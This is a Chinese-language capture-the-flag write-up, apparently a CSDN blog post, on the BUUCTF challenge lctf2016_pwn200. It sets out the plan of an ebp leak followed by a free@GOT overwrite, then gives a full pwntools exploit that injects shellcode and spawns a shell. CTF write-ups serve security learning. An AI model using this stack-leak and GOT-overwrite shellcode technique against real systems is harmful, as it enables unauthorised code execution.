[BUUCTF-pwn]——lctf2016_pwn200

[BUUCTF-pwn]——lctf2016_pwn200

还是先chekcsec 一下, 没有开启NX代表我们可以手写shellcode并且执行
在这里插入图片描述
在IDA, 中大家自己看看就好,我这里将两个漏洞的位置告诉大家就好
在这里插入图片描述
在这里插入图片描述

寻找偏移
在这里插入图片描述
在这里插入图片描述

思路

利用漏洞1, 获得main_ebp地址, 寻找到我们写入的shellcode距离的位置
利用漏洞2 覆盖dest变量值为free的got表的地址, 这样通过strcpy(dest, &buf);free的got表指向的就是我们的shellcode了

exploit

from pwn import *
context.arch = 'amd64'  #保证shellcode 正确
context.log_level = 'debug'
p = process('./pwn200')
#p = remote('node3.buuoj.cn',26607)
elf = ELF('./pwn200')
free_got = elf.got["free"]
#gdb.attach(p)
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))

ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("ebp --->> "+hex(ebp))
offset = -0x50
shellcode_addr = ebp + offset
log.success("shellcode_addr --->> " + hex(shellcode_addr))
p.sendline('0') 

p.recvuntil('\n')

payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))  # 绕过检查
p.recvuntil('choice :')
p.sendline('2')
p.interactive()
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值